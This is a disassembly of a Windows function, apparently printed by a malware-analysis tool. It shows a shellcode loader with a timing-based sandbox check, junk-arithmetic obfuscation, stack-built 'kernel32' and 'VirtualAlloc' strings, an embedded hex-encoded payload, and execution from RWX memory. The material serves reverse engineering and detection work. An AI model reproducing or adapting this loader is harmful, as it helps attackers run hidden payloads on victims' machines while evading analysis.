Function at 0x1400016f3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x5a0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x540], ecx
mov qword [rbp + 0x548], rdx
call sym.__main
call sym.clock
mov dword [rbp + 0x51c], eax
mov edx, dword [0x14000c004]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov ecx, 0x2d6
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.clock
mov dword [rbp + 0x518], eax
mov ecx, 0x642
call sym.malloc
mov qword [rbp + 0x510], rax
mov eax, dword [rbp + 0x518]
sub eax, dword [rbp + 0x51c]
cmp eax, 0x2d5
jle 0x1400021aa
mov eax, dword [rbp + 0x518]
sub eax, dword [rbp + 0x51c]
cmp eax, 0x339
jg 0x1400021aa
mov edx, dword [section..data]
mov eax, dword [0x14000c004]
imul eax, edx
mov dword [0x14000c004], eax
lea rax, str.ySnXg
mov rcx, rax
call sym.printf
lea rax, str.903350f6ce508d8e830735d8885f8665056f05508e5852cf51c0feec3550279c86
mov qword [rbp + 0x508], rax
mov edx, dword [0x14000c004]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.39a98eb4dcbac30762626622364355638bd0006ed5873ac48f00e7902b
mov qword [rbp + 0x500], rax
mov dword [section..data], 0
lea rax, str.c5b01df948208dc953b604a90826fc8cf33370005120b28f1fc10172b2c1
mov qword [rbp + 0x4f8], rax
mov edx, dword [0x14000c004]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.85108b334bf1fd058b2813bb3b09bb1fabd8089467f7787f00911100795b2204325e961ff36
mov qword [rbp + 0x4f0], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
lea rax, str.85010569b5291e1f7600b0f7491998bf60f45
mov qword [rbp + 0x4e8], rax
mov eax, dword [0x14000c004]
add eax, eax
mov dword [0x14000c004], eax
lea rax, str.c2d546b86ff6f8fcf24c1c6d015317a09c5e3f49b0500be
mov qword [rbp + 0x4e0], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.40ee1f7045ee001a9cdbd0c6618f8b4621aa66a8bcdb299076ce1570e6f15f61691e717
mov qword [rbp + 0x4d8], rax
mov edx, dword [0x14000c004]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
lea rax, str.76ca894aa05a6dcb661340d5d8bf9
mov qword [rbp + 0x4d0], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.3055a00008453003900682f463583ffe1193568f00ed58812b33372ccf813d7c0515d330fc
mov qword [rbp + 0x4c8], rax
mov edx, dword [0x14000c004]
mov eax, dword [0x14000c004]
imul eax, edx
mov dword [0x14000c004], eax
lea rax, str.c0eff7e80645d0d4565e515607662ff553ad00c55605
mov qword [rbp + 0x4c0], rax
mov edx, dword [0x14000c004]
mov eax, dword [0x14000c004]
imul eax, edx
mov dword [0x14000c004], eax
lea rax, str.59d7d64555538835f507800087f0c5865ff656ef00cbe0e0
mov qword [rbp + 0x4b8], rax
mov dword [section..data], 0
lea rax, str.ef270c703b6f75024ce433eb42c3d3cb22564634663366763443326
mov qword [rbp + 0x4b0], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
lea rax, str.62523432767220aad0f8f6555e3e7a94c8d81d491
mov qword [rbp + 0x4a8], rax
mov edx, dword [0x14000c004]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
lea rax, str.965f8b826ab0db1b62f4d77767891eccaddbb9520e45d09c6d34f
mov qword [rbp + 0x4a0], rax
mov edx, dword [section..data]
mov eax, dword [0x14000c004]
add eax, edx
mov dword [0x14000c004], eax
lea rax, str.65ec908fad4100055db005e0051ed78cc5ef32333305c9092bbc42761cc
mov qword [rbp + 0x498], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
lea rax, str.cf10702000a0881cb1101184dd5b46c8141441a0f26e47e87f177a95401138f38ff0182220bb5307a
mov qword [rbp + 0x490], rax
mov edx, dword [section..data]
mov eax, dword [0x14000c004]
sub edx, eax
mov dword [0x14000c004], edx
lea rax, str.6db5f30f499ad581f1a187ff09
mov qword [rbp + 0x488], rax
mov dword [section..data], 0
lea rax, str.7f1010ff213d5cc3e2992f6a44b89f65c559f0505d5
mov qword [rbp + 0x480], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.4dacf08d125d91e09f346b76b24469a1456938484711acbbc950cf860a8aab
mov qword [rbp + 0x478], rax
mov edx, dword [section..data]
mov eax, dword [0x14000c004]
sub edx, eax
mov dword [0x14000c004], edx
lea rax, str.97210fac1210693ce4e363a374024e1a092
mov qword [rbp + 0x470], rax
mov edx, dword [section..data]
mov eax, dword [0x14000c004]
imul eax, edx
mov dword [0x14000c004], eax
lea rax, str.d8507da0e9c4d0536452482f0000083f901178032950b1058d126e2104e86868508742ca020055848474842048d
mov qword [rbp + 0x468], rax
mov edx, dword [0x14000c004]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.3acc3072752801080225555e8676647d35557e
mov qword [rbp + 0x460], rax
mov edx, dword [0x14000c004]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.853609156cf53
mov qword [rbp + 0x458], rax
mov edx, dword [section..data]
mov eax, dword [0x14000c004]
add eax, edx
mov dword [0x14000c004], eax
lea rax, str.00556efdc55662fd8c3f086afd42d305b5db033f000
mov qword [rbp + 0x450], rax
mov edx, dword [section..data]
mov eax, dword [0x14000c004]
imul eax, edx
mov dword [0x14000c004], eax
lea rax, str.0ff35aae83d05321568d091d2fa7c2305a0726767622276665432567723253366230060613f6121e0d0793478a36c02f
mov qword [rbp + 0x448], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.fe7864ca99cb1017c695467307aeee370759d319880873a9e5c5
mov qword [rbp + 0x440], rax
mov edx, dword [section..data]
mov eax, dword [0x14000c004]
imul eax, edx
mov dword [0x14000c004], eax
lea rax, str.67adbce065f606056ef00d556059
mov qword [rbp + 0x438], rax
mov edx, dword [section..data]
mov eax, dword [0x14000c004]
sub edx, eax
mov dword [0x14000c004], edx
lea rax, str.88c007eaf333223138042ba02d2bb4b096c7348bcb498b59c5769baa06b028f378f4148f557750100f360f0e2258b
mov qword [rbp + 0x430], rax
mov dword [0x14000c004], 0
lea rax, str.aa4a72ef100c30770049fdca9269fec0
mov qword [rbp + 0x428], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.4b198dd3805ed5872b35a489b31d8807706887509706575998e2
mov qword [rbp + 0x420], rax
mov eax, dword [0x14000c004]
add eax, eax
mov dword [0x14000c004], eax
lea rdx, [rbp - 0x40]
mov eax, 0
mov ecx, 0x85
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
mov byte [rdx], al
add rdx, 1
mov rdx, qword [rbp + 0x508]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcpy
mov edx, dword [0x14000c004]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x500]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14000c004]
add eax, eax
mov dword [0x14000c004], eax
mov rdx, qword [rbp + 0x4f8]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov dword [section..data], 0
mov rdx, qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [0x14000c004]
add eax, edx
mov dword [0x14000c004], eax
mov rdx, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov dword [section..data], 0
mov rdx, qword [rbp + 0x4d8]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [0x14000c004]
imul eax, edx
mov dword [0x14000c004], eax
mov rdx, qword [rbp + 0x4d0]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14000c004]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x4c8]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [0x14000c004]
imul eax, edx
mov dword [0x14000c004], eax
mov rdx, qword [rbp + 0x4c0]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [0x14000c004]
sub edx, eax
mov dword [0x14000c004], edx
mov rdx, qword [rbp + 0x4b8]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [0x14000c004]
add eax, edx
mov dword [0x14000c004], eax
mov rdx, qword [rbp + 0x4b0]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov dword [0x14000c004], 0
mov rdx, qword [rbp + 0x4a8]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov dword [section..data], 0
mov rdx, qword [rbp + 0x4a0]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14000c004]
add eax, eax
mov dword [0x14000c004], eax
mov rdx, qword [rbp + 0x498]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov dword [section..data], 0
mov rdx, qword [rbp + 0x490]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14000c004]
mov eax, dword [0x14000c004]
imul eax, edx
mov dword [0x14000c004], eax
mov rdx, qword [rbp + 0x488]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [0x14000c004]
imul eax, edx
mov dword [0x14000c004], eax
mov rdx, qword [rbp + 0x480]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14000c004]
add eax, eax
mov dword [0x14000c004], eax
mov rdx, qword [rbp + 0x478]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [0x14000c004]
sub edx, eax
mov dword [0x14000c004], edx
mov rdx, qword [rbp + 0x470]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov dword [section..data], 0
mov rdx, qword [rbp + 0x468]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [0x14000c004]
sub edx, eax
mov dword [0x14000c004], edx
mov rdx, qword [rbp + 0x460]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
mov rdx, qword [rbp + 0x458]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [0x14000c004]
add eax, edx
mov dword [0x14000c004], eax
mov rdx, qword [rbp + 0x450]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14000c004]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x448]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14000c004]
mov eax, dword [section..data]
sub edx, eax
mov dword [section..data], edx
mov rdx, qword [rbp + 0x440]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [0x14000c004]
imul eax, edx
mov dword [0x14000c004], eax
mov rdx, qword [rbp + 0x438]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov dword [section..data], 0
mov rdx, qword [rbp + 0x430]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
mov rdx, qword [rbp + 0x428]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14000c004]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x420]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14000c004]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
mov rax, qword [rbp + 0x510]
lea rdx, [0x14000d6cd]
mov rcx, rax
call sym.IcBsBLErI
mov qword [rbp + 0x418], rax
mov rdx, qword [rbp + 0x418]
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.WOPKTo
mov byte [rbp - 0x4d], 0x56
mov byte [rbp - 0x4c], 0x69
mov byte [rbp - 0x4b], 0x72
mov byte [rbp - 0x4a], 0x74
mov byte [rbp - 0x49], 0x75
mov byte [rbp - 0x48], 0x61
mov byte [rbp - 0x47], 0x6c
mov byte [rbp - 0x46], 0x41
mov byte [rbp - 0x45], 0x6c
mov byte [rbp - 0x44], 0x6c
mov byte [rbp - 0x43], 0x6f
mov byte [rbp - 0x42], 0x63
mov byte [rbp - 0x41], 0
lea rax, [rbp - 0x4d]
mov qword [rbp + 0x410], rax
mov byte [rbp - 0x56], 0x6b
mov byte [rbp - 0x55], 0x65
mov byte [rbp - 0x54], 0x72
mov byte [rbp - 0x53], 0x6e
mov byte [rbp - 0x52], 0x65
mov byte [rbp - 0x51], 0x6c
mov byte [rbp - 0x50], 0x33
mov byte [rbp - 0x4f], 0x32
mov byte [rbp - 0x4e], 0
lea rax, [rbp - 0x56]
mov qword [rbp + 0x408], rax
mov rax, qword [rbp + 0x408]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x410]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x400], rax
mov rax, qword [rbp + 0x400]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x42d
mov ecx, 0
call rax
mov qword [rbp + 0x3f8], rax
mov rax, qword [rbp + 0x3f8]
mov rcx, rax
lea rax, [rbp - 0x40]
mov edx, 0x42d
mov r8, qword [rax]
mov qword [rcx], r8
mov r8d, edx
add r8, rcx
lea r9, [r8 + 8]
mov r8d, edx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rcx + 8]
and r8, 0xfffffffffffffff8
sub rcx, r8
sub rax, rcx
add edx, ecx
and edx, 0xfffffff8
shr edx, 3
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x3f8]
call rax
mov edx, dword [section..data]
mov eax, dword [0x14000c004]
add edx, eax
mov eax, dword [0x14000c008]
add eax, edx
mov edx, eax
lea rax, [0x14000d6cf]
mov rcx, rax
call sym.printf
jmp 0x1400021ce
mov edx, dword [0x14000c004]
mov eax, dword [section..data]
sub edx, eax
mov dword [section..data], edx
lea rax, str.ySnXg
mov rcx, rax
call sym.printf
nop
add rsp, 0x5a0
pop rsi
pop rdi
pop rbp
ret